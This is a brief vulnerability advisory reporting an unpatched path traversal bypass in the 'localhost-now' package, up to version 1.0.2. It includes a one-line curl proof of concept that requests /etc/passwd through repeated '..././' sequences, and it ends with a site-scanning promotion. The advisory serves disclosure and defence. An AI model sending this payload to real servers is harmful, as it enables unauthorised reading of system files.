| Package | Affected versions | Patched versions |
|---|---|---|
| localhost-now | ≤ 1.0.2 |
All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2
Proof of concept:
$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free